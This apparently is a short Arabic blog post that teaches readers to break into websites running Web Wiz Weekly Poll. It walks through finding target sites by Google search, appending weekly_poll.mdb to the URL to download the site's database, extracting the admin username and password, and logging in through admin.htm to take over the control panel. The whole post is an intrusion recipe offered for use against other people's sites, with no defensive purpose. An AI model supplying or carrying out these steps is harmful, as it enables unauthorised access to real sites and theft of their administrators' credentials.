بسم الله الحرحمن الرحيم
السلام عليكم ورحمة الله بوركاته
اقد لكم ثغرة بسيطة جداً وهي ثغرة weekly_poll
اولاً روح لجووجل وابحث عن web wiz weekly poll
وإختار لك موقع
مثلاً لو كان عنوان الموقع هكذا www.hacker_evil.com/poll
اضف عليه weekly_poll.mdb
ليصبح
www.hacker_evil.com/poll/weekly_poll.mdb
بتتحمل قاعدة البيانات وطلع الاسم والرقم بعدين
وبعدين روح لصفحة admin.htm
يعني www.hacker_evil.com/admin.htm
وبعدين حط اليوزر والباسورد
وبعدين بتصير في لوحة التحكم
جميع الحقوق محفوظة لوووووووووول
Inscription à :
Publier les commentaires (Atom)
Aucun commentaire:
Enregistrer un commentaire